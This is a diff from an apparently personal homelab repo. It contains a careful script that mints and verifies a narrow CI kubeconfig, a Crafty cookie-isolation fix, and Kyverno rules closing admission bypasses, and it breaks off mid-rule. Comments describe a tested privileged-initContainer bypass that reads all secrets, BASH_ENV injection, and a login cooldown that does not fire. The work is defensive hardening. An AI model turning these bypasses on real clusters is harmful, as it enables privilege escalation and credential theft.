+# ONE awk, NOT `grep -v … | grep -q …`: under `set -o pipefail` a successful `grep -q` exits
+# early, the upstream grep takes EPIPE, and the pipeline reports non-zero — which would read
+# here as "unwired" exactly when the seam IS wired. A single process cannot have that bug.
+CONF_STAGE="${REPO_ROOT}/ci/conformance.sh"
+if awk '!/^[[:space:]]*#/ && /CONFORMANCE_TRIGGER_KUBECONFIG/ { found = 1 } END { exit !found }' \
+     "$CONF_STAGE" 2>/dev/null; then
+  pass "ci/conformance.sh references CONFORMANCE_TRIGGER_KUBECONFIG in code (in-cluster trigger path wired)"
+else
+  fail_arm "ci/conformance.sh mentions CONFORMANCE_TRIGGER_KUBECONFIG only in comments — the trigger path is UNIMPLEMENTED (plan §3 item 4); arming ${VARIABLE} now only changes which way the stage fails"
+fi
+
+info ""
+info "precondition tally: mint-blocking failures=${MINT_FAIL}  arm-blocking failures=${ARM_FAIL}"
+
+if [ "$MINT_FAIL" -gt 0 ]; then
+  cat >&2 <<EOF
+
+REFUSING TO MINT. ${MINT_FAIL} cluster-side precondition(s) failed.
+
+Minting a token for ${NS}/${SA} while the admission boundary is absent/Audit/unready hands CI
+an identity that can create a Job running as ${RUNNER_SA} (nodes/patch, pods/exec,
+namespaces/patch) with an arbitrary command. That is precisely the escalation
+docs/plans/l2-l3-conformance-ci-wiring.md §4 exists to close, and RBAC cannot close it.
+
+Fix the cluster side first (reconcile platform/kyverno/admission/ and conformance/incluster/,
+confirm the ClusterPolicy is Enforce + Ready), then re-run. Nothing was created.
+EOF
+  exit 1
+fi
+
+if $ARM && [ "$ARM_FAIL" -gt 0 ]; then
+  cat >&2 <<EOF
+
+REFUSING TO ARM ${VARIABLE}. ${ARM_FAIL} repo-side precondition(s) failed.
+
+Measured 2026-09-29: with ${VARIABLE}=true and no working trigger path, conformance/run.sh
+scaffold-skips all 54 tests at rc 0 and ci/conformance.sh used to print
+"[ ok ] L2/L3 conformance passed" — a fake green on an enforcing required status check. The
+guard now in ci/conformance.sh turns that into exit 1 instead, so arming today does not
+enable L2/L3: it breaks every PR while proving nothing.
+
+Land plan §3 items 1, 2 and 4 first. Re-run WITHOUT --arm-cluster-available to provision the
+secret in the meantime — that part is safe and is step 6's intended order.
+EOF
+  exit 1
+fi
+
+if $DRY_RUN; then
+  step "DRY RUN — stopping here. Nothing was minted, nothing was written."
+  info "secret that WOULD be written: ${SECRET} (repo ${OWNER}/${REPO})"
+  info "variable that WOULD be set:   none — ${VARIABLE} is never touched in --dry-run"
+  # Read-only visibility into what is already there. Gitea never returns secret VALUES.
+  names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')" || true
+  info "existing Actions secret names: ${names:-<unreadable>}"
+  cur="$(basic -o "${WORK}/var.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")" || true
+  if [ "$cur" = 200 ]; then
+    info "existing ${VARIABLE} = $(jq -r '.data // "<no data field>"' "${WORK}/var.json")"
+  else
+    info "existing ${VARIABLE}: not set (HTTP ${cur})"
+  fi
+  exit 0
+fi
+
+# ========================================================================================
+# 2. MINT the ServiceAccount token (TokenRequest). This is the only write this script makes
+#    against the cluster, and it creates no durable object.
+# ========================================================================================
+step "minting a ServiceAccount token for ${NS}/${SA} (requested duration ${DURATION})"
+TOKEN="$(kubectl --context "$KCTX" -n "$NS" create token "$SA" --duration="$DURATION")" \
+  || die "kubectl create token failed for ${NS}/${SA}"
+[ -n "$TOKEN" ] || die "kubectl create token returned an empty token"
+info "got a ${#TOKEN}-character token (value NOT shown)"
+
+# Report the ACTUAL expiry from the JWT rather than trusting --duration: the API server caps
+# TokenRequest lifetimes (--service-account-max-token-expiration) and silently shortens.
+jwt_exp() {
+  local payload pad b64
+  payload="$(cut -d. -f2 <<<"$1")"
+  pad=$(( (4 - ${#payload} % 4) % 4 ))
+  b64="$(tr '_-' '/+' <<<"$payload")$(printf '%*s' "$pad" '' | tr ' ' '=')"
+  printf '%s' "$b64" | base64 -d 2>/dev/null | jq -r '.exp // empty' 2>/dev/null || true
+}
+exp="$(jwt_exp "$TOKEN")"
+if [ -n "$exp" ]; then
+  info "token expires: $(date -u -d "@${exp}" '+%Y-%m-%dT%H:%M:%SZ' 2>/dev/null || echo "epoch ${exp}") — re-run this script to rotate"
+else
+  warn "could not decode the token's exp claim; lifetime is UNVERIFIED (requested ${DURATION})"
+fi
+
+# ========================================================================================
+# 3. ASSEMBLE the kubeconfig — SA token + cluster CA + server. Nothing else.
+#
+#    The CA and the server URL are read from the operator's context, but the operator's
+#    client certificate/key are NEVER copied: only .cluster fields are extracted. `config
+#    view --raw` output is held in a variable and discarded, never printed.
+#    Built with jq (not `kubectl config set-credentials --token=…`) so the token never
+#    appears in argv where `ps` can see it.
+# ========================================================================================
+step "assembling the kubeconfig (SA token only — never cluster-admin, never the operator's)"
+raw="$(kubectl --context "$KCTX" config view --raw --minify -o json)" \
+  || die "could not read context '${KCTX}' from the operator kubeconfig"
+SERVER="$(jq -r '.clusters[0].cluster.server // empty' <<<"$raw")"
+CADATA="$(jq -r '.clusters[0].cluster["certificate-authority-data"] // empty' <<<"$raw")"
+CAFILE="$(jq -r '.clusters[0].cluster["certificate-authority"] // empty' <<<"$raw")"
+INSECURE="$(jq -r '.clusters[0].cluster["insecure-skip-tls-verify"] // false | tostring' <<<"$raw")"
+unset raw
+
+[ -n "$SERVER" ] || die "context '${KCTX}' has no cluster.server"
+if [ -n "$SERVER_OVERRIDE" ]; then
+  info "overriding server ${SERVER} -> ${SERVER_OVERRIDE}"
+  SERVER="$SERVER_OVERRIDE"
+fi
+case "$SERVER" in
+  *localhost*|*127.0.0.1*|*://0.0.0.0*)
+    die "server '${SERVER}' is loopback — the CI runner pod cannot reach it. Pass --server with the address the runner uses (the kube-API VIP)." ;;
+esac
+if [ -z "$CADATA" ] && [ -n "$CAFILE" ]; then
+  [ -r "$CAFILE" ] || die "certificate-authority file '${CAFILE}' is not readable"
+  CADATA="$(base64 -w0 <"$CAFILE")"
+fi
+[ -n "$CADATA" ] || die "no cluster CA available for '${KCTX}' (insecure-skip-tls-verify=${INSECURE}); refusing to emit a kubeconfig that trusts anything"
+[ "$INSECURE" = "false" ] || die "context '${KCTX}' sets insecure-skip-tls-verify; refusing to propagate that into CI"
+info "server: ${SERVER}"
+info "CA: ${#CADATA} base64 characters embedded (public certificate, not a secret)"
+
+jq -n --arg srv "$SERVER" --arg ca "$CADATA" --arg tok "$TOKEN" --arg ns "$NS" --arg sa "$SA" '
+{
+  apiVersion: "v1",
+  kind: "Config",
+  clusters:  [ { name: "conformance", cluster: { server: $srv, "certificate-authority-data": $ca } } ],
+  users:     [ { name: $sa, user: { token: $tok } } ],
+  contexts:  [ { name: "conformance", context: { cluster: "conformance", user: $sa, namespace: $ns } } ],
+  "current-context": "conformance"
+}' >"$KC"
+chmod 600 "$KC"
+info "kubeconfig written to the temp dir: $(wc -c <"$KC") bytes (content NOT shown)"
+
+# Prove kubectl can PARSE the file we generated (JSON is valid YAML, but assert it rather
+# than assume it) — this prints only the server we already printed.
+parsed="$(kubectl --kubeconfig "$KC" config view -o jsonpath='{.clusters[0].cluster.server}')" \
+  || die "kubectl cannot parse the generated kubeconfig"
+[ "$parsed" = "$SERVER" ] || die "generated kubeconfig parses to server '${parsed}', expected '${SERVER}'"
+pass "kubectl parses the generated kubeconfig"
+
+# ========================================================================================
+# 4. PROVE it is the narrow identity. Two independent proofs:
+#      a) who the token authenticates AS (SelfSubjectReview)
+#      b) an allow/deny matrix (SelfSubjectAccessReview) — both halves matter: "can create
+#         jobs" proves it works, "cannot get secrets / delete jobs / exec" proves it is not
+#         something wider that happens to include the trigger rights.
+#    All read-only. `auth can-i` answers from the API server's own authorizer.
+# ========================================================================================
+step "verifying the credential is the NARROW trigger identity"
+EXPECT_USER="system:serviceaccount:${NS}:${SA}"
+if who="$(kubectl --kubeconfig "$KC" auth whoami -o jsonpath='{.status.userInfo.username}' 2>/dev/null)"; then
+  [ "$who" = "$EXPECT_USER" ] || die "token authenticates as '${who}', expected '${EXPECT_USER}' — WRONG CREDENTIAL, nothing stored"
+  pass "authenticates as ${who}"
+else
+  warn "'kubectl auth whoami' unavailable (older kubectl / SelfSubjectReview denied) — identity UNVERIFIED by this check; the matrix below still constrains it"
+fi
+
+# A real authorization round-trip, not just a review: `list jobs` is granted by the Role.
+kubectl --kubeconfig "$KC" -n "$NS" get jobs -o name >/dev/null \
+  || die "the minted credential cannot list Jobs in ns ${NS} — the RoleBinding is not effective; nothing stored"
+pass "can list Jobs in ns ${NS} (end-to-end authentication + authorization)"
+
+cani() { # cani <expected yes|no> <verb> <resource...>
+  local want="$1"; shift
+  local got
+  got="$(kubectl --kubeconfig "$KC" auth can-i "$@" 2>/dev/null || true)"
+  case "$got" in
+    yes|no) : ;;
+    *) die "auth can-i '$*' returned '${got:-<nothing>}' — cannot measure the identity's rights; refusing to store an unverified credential" ;;
+  esac
+  if [ "$got" = "$want" ]; then
+    pass "can-i $* -> ${got} (expected)"
+  else
+    die "can-i $* -> ${got}, expected ${want}. This credential is NOT the narrow trigger identity described in conformance/incluster/rbac.yaml. Nothing stored. Do NOT widen that Role to make this pass — investigate what it is actually bound to."
+  fi
+}
+# Granted by the trigger Role (create/get/list/watch jobs; get/list/watch pods + pods/log).
+cani yes create jobs.batch -n "$NS"
+cani yes get    pods       -n "$NS"
+cani yes get    pods/log   -n "$NS"
+# Explicitly NOT granted — each is a specific escape route the Role's comments call out.
+cani no  delete jobs.batch -n "$NS"          # a trigger that can delete can hide a failed run
+cani no  create pods/exec  -n "$NS"          # no execution channel into the runner pod
+cani no  get    secrets    -n "$NS"
+cani no  create jobs.batch -n default        # namespaced Role: no reach outside ns conformance
+cani no  get    nodes                        # the RUNNER has nodes/patch; the trigger must not
+cani no  '*' '*' --all-namespaces            # not cluster-admin, stated as a measurement
+
+# ========================================================================================
+# 5. STORE as the Gitea Actions repo secret, then VERIFY BY READING IT BACK (lesson 2).
+#    The body goes in a 0600 file so the token is not in argv.
+# ========================================================================================
+step "storing the kubeconfig as repo Actions secret ${SECRET}"
+jq -n --rawfile d "$KC" '{data:$d}' >"${WORK}/body.json"
+chmod 600 "${WORK}/body.json"
+code="$(basic -o "${WORK}/put.out" -w '%{http_code}' -X PUT \
+          -H 'Content-Type: application/json' --data @"${WORK}/body.json" \
+          "${API}/actions/secrets/${SECRET}")"
+unset TOKEN
+rm -f "${WORK}/body.json" "$KC"
+if [ "$code" != 201 ] && [ "$code" != 204 ]; then
+  # Safe to echo: the response body is Gitea's error message, not our payload. HTTP 400
+  # "invalid secret name" here means the name hit the reserved GITEA_ prefix (lesson 1).
+  die "PUT ${SECRET} failed: HTTP ${code} -- $(head -c 300 "${WORK}/put.out" 2>/dev/null)"
+fi
+info "PUT returned HTTP ${code}"
+
+# curl -sS exits 0 on an HTTP error, so the status check above is necessary but NOT
+# sufficient: read the object back. Gitea never returns secret VALUES, so this proves
+# PRESENCE BY NAME only — say so rather than implying the content was checked.
+names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
+grep -q "$SECRET" <<<"$names" \
+  || die "PUT reported HTTP ${code} but ${SECRET} is NOT in ${names} — refusing to claim success"
+pass "stored and VERIFIED PRESENT by read-back: ${names}"
+info "(read-back proves the secret EXISTS; Gitea never returns secret values, so its CONTENT"
+info " is proven only by the first CI run that uses it — see the NOTE below.)"
+info ""
+info "FOR WHOEVER WRITES plan §3 item 4: this secret holds the kubeconfig CONTENT, not a path."
+info "The plan's sketch writes 'kubectl --kubeconfig=\$CONFORMANCE_TRIGGER_KUBECONFIG', which"
+info "would treat it as a filename. ci/conformance.sh must write the env var into a 0600 temp"
+info "file (umask 077, trap-removed) and pass THAT path — an Actions secret is a string, so a"
+info "kubeconfig cannot reach CI any other way."
+
+# ========================================================================================
+# 6. vars.CLUSTER_AVAILABLE — the loaded gun. Only here, only on request, only confirmed.
+# ========================================================================================
+if ! $ARM; then
+  cat <<EOF
+
+==> ${VARIABLE} NOT TOUCHED (no --arm-cluster-available). This is the safe default.
+
+The secret is in place; the conformance job stays gated off until the variable is set. That
+is plan §5's order: land items 1-6, prove them, and only then flip step 7's switch.
+EOF
+else
+  step "arming vars.${VARIABLE}=true — every precondition above is green"
+  cat <<EOF
+    This makes .gitea/workflows/gate.yml's conformance job RUN on every PR. If the
+    in-cluster trigger path misbehaves, ci/conformance.sh will BLOCK (exit 1) rather than
+    fake a green — so the failure mode is loud PRs, not silent false confidence. Undo with:
+      curl -X DELETE .../repos/${OWNER}/${REPO}/actions/variables/${VARIABLE}
+EOF
+  [ -t 0 ] || die "refusing to arm ${VARIABLE} non-interactively — this needs a human confirmation"
+  printf '    Type exactly "ARM %s" to proceed: ' "$VARIABLE"
+  read -r confirm
+  [ "$confirm" = "ARM ${VARIABLE}" ] || die "not confirmed (got '${confirm}') — ${VARIABLE} unchanged. The secret IS stored."
+
+  # Gitea's variables API: POST creates, PUT updates, and the body field is `value` — NOT
+  # `data` as in the secrets API above. Try create, fall back to update. The value "true" is
+  # not a secret, so response bodies are printed here to make a failure diagnosable.
+  vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X POST \
+             -H 'Content-Type: application/json' --data '{"value":"true"}' \
+             "${API}/actions/variables/${VARIABLE}")"
+  if [ "$vcode" != 201 ] && [ "$vcode" != 204 ]; then
+    info "POST returned HTTP ${vcode} ($(head -c 200 "${WORK}/var.out" 2>/dev/null)); trying PUT (variable may already exist)"
+    vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X PUT \
+               -H 'Content-Type: application/json' \
+               --data "$(jq -n --arg n "$VARIABLE" '{name:$n,value:"true"}')" \
+               "${API}/actions/variables/${VARIABLE}")"
+  fi
+  [ "$vcode" = 201 ] || [ "$vcode" = 204 ] \
+    || die "could not set ${VARIABLE}: HTTP ${vcode} -- $(head -c 300 "${WORK}/var.out" 2>/dev/null)"
+  info "write returned HTTP ${vcode}"
+
+  # Unlike a secret, a variable's value IS readable — so verify the VALUE, not just presence.
+  # gate.yml compares `vars.CLUSTER_AVAILABLE == 'true'`, so it must be exactly "true".
+  gcode="$(basic -o "${WORK}/varget.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")"
+  [ "$gcode" = 200 ] || die "stored HTTP ${vcode} but GET ${VARIABLE} returned HTTP ${gcode} — refusing to claim success"
+  val="$(jq -r '.data // .value // empty' "${WORK}/varget.json")"
+  [ "$val" = "true" ] || die "${VARIABLE} reads back as '${val}', not 'true' — gate.yml compares against 'true' exactly"
+  pass "${VARIABLE}=${val} stored and VERIFIED by read-back"
+fi
+
+cat <<EOF
+
+NEXT — and none of it is proven until you watch it happen:
+  1. Open a THROWAWAY PR. Read the conformance job's LOG, not its tick: a skipped Gitea job
+     reports success ("Has been skipped"), and a green tick is not evidence anything ran.
+  2. Confirm a Job appeared in ns ${NS}, ran the touched --requirements subset, and that its
+     artifacts came back. Then break an L3 test deliberately and confirm the gate BLOCKS.
+  3. Only after seeing BOTH directions should the conformance check be added to branch
+     protection (infra/gitea/require-gate.sh's status_check_contexts).
+  4. Diary the token expiry printed above. Re-run this script to rotate; CI fails loudly
+     (401 on the trigger) rather than skipping when it lapses.
+
+ROLLBACK: DELETE the ${VARIABLE} variable (instant SKIP, gate reverts to L0/L1-only) and/or
+DELETE the ${SECRET} secret. The token itself is revoked by deleting the ${NS}/${SA}
+ServiceAccount, which Flux will recreate with a fresh identity.
+EOF

platform/crafty/README.md

@@ -49,9 +49,49 @@ Crafty's UI is gated by a **dedicated oauth2-proxy sidecar in the Crafty pod** (
 `crafty.home.keithjackson.dev`). The `crafty` Service targets the sidecar, never Crafty's `:8443`, so
 the gate is **in the data path** (fail-closed: no valid `platform-admins` session ⇒ no upstream).
 
-> **Note:** Crafty ALSO has its own local admin login (it has no OIDC). After oauth2-proxy admits the
-> user, they still see Crafty's own login page — a second, defense-in-depth factor. The operator logs
-> in with Crafty's local admin credentials (set on first boot). This is expected, not a bug.
+#### Cookie isolation (why the session used to vanish)
+
+This sidecar and the **shared** forward-auth oauth2-proxy are independent instances with **different
+`cookie-secret` values** (measured in-cluster — neither can decrypt the other's cookie). Both used to
+emit oauth2-proxy's *default* cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
+`.home.keithjackson.dev`, so the browser held **one** cookie pair for **both**: whichever proxy
+authenticated last clobbered the other's session, and the loser logged
+`No valid authentication in request`, bounced to Keycloak, and — because the Keycloak SSO session was
+still live — was redirected straight back, clobbering the cookie again. That mutual eviction presents
+exactly as *"I signed in to Keycloak but I'm still not signed in."*
+
+Fixed on this side only (renaming the shared proxy's cookie would sign out every other gated app):
+`--cookie-name=_oauth2_proxy_crafty` and a **host-scoped** `--cookie-domain=crafty.home.keithjackson.dev`.
+`--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
+
+#### Crafty's own local login — this is where setup actually blocks
+
+Crafty has **no OIDC**, so after oauth2-proxy admits the user they still meet Crafty's own
+username/password page. That second factor is intended. What was **not** intended — and what made the
+service impossible to set up — is that **nothing documented where that password comes from**.
+
+Crafty generates it **once, on first boot only**, when the users table is empty
+(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`), and writes it to
+**`/crafty/app/config/default-creds.txt`** (mode `0600`, on the `config` subPath of the PVC). It is
+**never** in git and **cannot** be recovered from git: a rebuild onto a fresh PVC generates a *new*
+random password. Submitting anything else yields `POST /api/v2/auth/login/` → **401**, which is exactly
+what a browser sees with no hint as to why.
+
+**→ Retrieval, rotation, and lost-password recovery: [`../../runbooks/crafty-admin-credential.md`](../../runbooks/crafty-admin-credential.md).**
+
+Two traps that runbook covers:
+
+- Crafty's `set_passwd` console command is **unreachable** in Kubernetes — it calls
+  `getpass.getpass()` and so needs a TTY, while the container runs `main.py -d -i` (daemon).
+  Recovery therefore has to go through the DB with Crafty's own argon2 hasher.
+- Crafty's own 3-strikes brute-force cooldown is **inert behind this sidecar**, verified live. Crafty
+  *records* failed attempts under `get_remote_ip()` (which honours `X-Forwarded-For` — the live
+  tracker key is the chain `"192.168.2.132, 10.0.0.123"`) but *checks* for a cooldown under
+  `self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The two halves key
+  differently, so `get_recent_attempts()` always reads an empty list and `max_login_attempts: 3`
+  never fires. Good news for the operator (**repeated guesses cannot lock you out**), but it means
+  the only thing actually limiting who can reach the login form is the oauth2-proxy
+  `platform-admins` gate — worth knowing before anyone treats that cooldown as a control.
 
 ### Keycloak client
 

platform/crafty/deployment.yaml

@@ -150,7 +150,27 @@ spec:
             # Single provider => 302 straight to Keycloak, no oauth2-proxy interstitial button.
             - --skip-provider-button=true
             - --redirect-url=https://crafty.${BASE_DOMAIN}/oauth2/callback
-            - --cookie-domain=.${BASE_DOMAIN}
+            # ── COOKIE ISOLATION (bug fix 2026-09-29) ────────────────────────────────────────────
+            # This sidecar and the SHARED forward-auth oauth2-proxy (platform/oauth2-proxy) are
+            # INDEPENDENT instances holding DIFFERENT cookie-secrets (verified in-cluster: the two
+            # `cookie-secret` values differ, so neither can decrypt the other's cookie). Both used
+            # to emit oauth2-proxy's DEFAULT cookie names (`_oauth2_proxy` and `_oauth2_proxy_csrf`)
+            # scoped to `.${BASE_DOMAIN}`, so the browser kept ONE pair of cookies for BOTH proxies:
+            # whichever authenticated last overwrote the other's session, and the loser then logged
+            # "No valid authentication in request" and bounced to Keycloak -- which, thanks to the
+            # live Keycloak SSO session, silently redirected back and overwrote the cookie again.
+            # That mutual eviction presents EXACTLY as the reported symptom: "I signed in to
+            # Keycloak but I am still not signed in to the app."
+            # Two independent fixes, both applied here (only this side changes -- renaming the
+            # SHARED proxy's cookie would sign every other gated app out):
+            #   1. --cookie-name: a unique name, so the two sessions cannot alias at all.
+            #   2. --cookie-domain: HOST-scoped. A per-app reverse proxy has no reason to broadcast
+            #      its session to every other host in the zone; the shared proxy keeps the wide
+            #      scope because cross-host forward-auth is precisely its job.
+            # --whitelist-domain deliberately stays zone-wide: it governs permitted post-login
+            # REDIRECT targets, not cookie scope.
+            - --cookie-name=_oauth2_proxy_crafty
+            - --cookie-domain=crafty.${BASE_DOMAIN}
             - --whitelist-domain=.${BASE_DOMAIN}
             - --cookie-secure=true
             - --pass-access-token=true

platform/kyverno/admission/conformance-trigger-job-shape.yaml

@@ -142,3 +142,236 @@ spec:
                   - key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
                     operator: Equals
                     value: false
+
+    # =========================================================================================
+    # ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
+    #
+    # Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
+    # `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
+    # exact escalation this policy exists to stop — the privileged `conformance-runner` SA
+    # executing an arbitrary command, because Kubernetes places no `use` check on
+    # `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
+    # compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
+    #
+    #   a Job with serviceAccountName conformance-runner and an initContainer
+    #   `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
+    #     ->  pass: 3, fail: 0, warn: 0, error: 0, skip: 0        # ADMITTED
+    #
+    # `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
+    #
+    # WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
+    # needed — the suite has to be cloned at the commit under test. But while the clone logic
+    # lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
+    # the committed script from an attacker's: both are just `args` on a shell. So the clone
+    # logic moved into the runner image at a fixed path
+    # (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
+    # rule pins `command` to that path with NO args. An admitted init container therefore
+    # carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
+    # itself validates against ^[0-9a-f]{40}$.
+    #
+    # `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
+    # element matches", which would admit the committed clone step PLUS an arbitrary second
+    # init container — the same class of hole rule 2's comment describes for volumes.
+    # =========================================================================================
+    - name: trigger-initcontainers-must-be-the-committed-clone-step
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
+          committed clone step: the digest-pinned conformance-runner image,
+          command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
+          escalation, not privileged. An initContainer running a shell with a caller-supplied
+          script is arbitrary code execution as the privileged conformance-runner SA — the
+          escalation the rest of this policy exists to prevent. See
+          conformance/incluster/conformance-clone.
+        foreach:
+          - list: "request.object.spec.template.spec.initContainers"
+            deny:
+              conditions:
+                any:
+                  # At most one. The committed run needs exactly one clone step; a second
+                  # init container has no legitimate purpose and is how you smuggle one in.
+                  - key: "{{ length(request.object.spec.template.spec.initContainers) }}"
+                    operator: GreaterThan
+                    value: 1
+                  # Digest-pinned under the conformance repository path — same rule as
+                  # containers[0], same honest limit (see IMAGE PINNING in the header).
+                  - key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
+                    operator: Equals
+                    value: false
+                  # The baked-in entrypoint, exactly — not a shell, not a second path.
+                  # `join` so this compares a STRING: Equals/NotEquals on arrays is not
+                  # dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
+                  - key: "{{ join(' ', not_null(element.command, `[]`)) }}"
+                    operator: NotEquals
+                    value: "/usr/local/bin/conformance-clone"
+                  # NO ARGS. This is the whole point: args on an init container are
+                  # caller-supplied code. Only env may be passed, and the entrypoint validates it.
+                  - key: "{{ length(not_null(element.args, `[]`)) }}"
+                    operator: GreaterThan
+                    value: 0
+                  # not_null(), NOT `||`: JMESPath treats `false` as falsy, so
+                  # `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
+                  # the COMPLIANT value false into true and deny every good Job.
+                  - key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
+                    operator: NotEquals
+                    value: true
+                  - key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
+                    operator: NotEquals
+                    value: false
+                  - key: "{{ not_null(element.securityContext.privileged, `false`) }}"
+                    operator: NotEquals
+                    value: false
+
+    # =========================================================================================
+    # ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
+    # container list on a PodSpec, and it was as unread as `initContainers` was.
+    #
+    # Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
+    # (the field is settable only through the `pods/ephemeralcontainers` subresource), which
+    # would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
+    # "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
+    # when the field is absent, and removes the need to be right about it. If the API server
+    # does reject it, nothing changes; if it does not, this is the same hole again.
+    # =========================================================================================
+    - name: trigger-may-not-declare-ephemeral-containers
+      # resources AND subjects in the SAME filter entry — see the note on the rules above.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may not declare ephemeralContainers. The committed
+          conformance run has no use for one, and an ephemeral container is a third container
+          list running as the privileged conformance-runner SA with an arbitrary command.
+        deny:
+          conditions:
+            all:
+              - key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
+                operator: GreaterThan
+                value: 0
+
+    # =========================================================================================
+    # ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
+    #
+    # The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
+    # to whatever adjacent field nobody enumerated. It was `initContainers`, then
+    # `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
+    # environment variable on either container.
+    #
+    # That is not hypothetical. Both programs the Job runs read their environment:
+    #   * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
+    #     CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
+    #     image (it dies on a mismatch rather than honouring a redirect — which is why the
+    #     specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
+    #     already closed there, in the image, not here);
+    #   * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
+    # And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
+    # `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
+    # Defence in depth belongs here too: the entrypoint's own validation should not be the only
+    # thing standing between a caller-chosen env var and the privileged SA.
+    #
+    # NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
+    # Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
+    # conformance-runner can already read Secrets in this namespace via its own RBAC, so
+    # pinning the source Secret would buy nothing. Names are the vector that matters, because a
+    # name is what a program keys its behaviour on.
+    # =========================================================================================
+    - name: trigger-env-names-must-be-the-committed-set
+      # resources AND subjects in the SAME filter entry — see the note on the rules above.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may set only the committed environment variables. The runner
+          container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
+          init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
+          GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
+          pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
+          conformance-runner SA. Widening this list is a reviewed one-line change.
+        foreach:
+          - list: "request.object.spec.template.spec.containers[0].env"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ element.name }}"
+                    operator: AnyNotIn
+                    value:
+                      - CONF_ARTIFACTS
+                      - CONF_EMIT_ARTIFACTS_TGZ
+                      - TMPDIR
+                      - HOME
+          # Flattened across init containers: the rule above already caps them at one, but this
+          # must not silently stop checking if that cap is ever relaxed.
+          - list: "request.object.spec.template.spec.initContainers[].env[]"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ element.name }}"
+                    operator: AnyNotIn
+                    value:
+                      - CONFORMANCE_GIT_SHA
+                      - CONFORMANCE_REPO_URL
+                      - CONFORMANCE_SRC
+                      - GITEA_USERNAME
+                      - GITEA_TOKEN
+                      - TMPDIR
+                      - HOME
+
+    - name: trigger-may-not-use-envfrom
+      # resources AND subjects in the SAME filter entry — see the note on the rules above.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
+          as environment variables, whose KEYS are not visible in the Job at all — which would
+          make the env-name allowlist above unenforceable by inspection.
+        deny:
+          conditions:
+            any:
+              - key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
+                operator: GreaterThan
+                value: 0
+              - key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
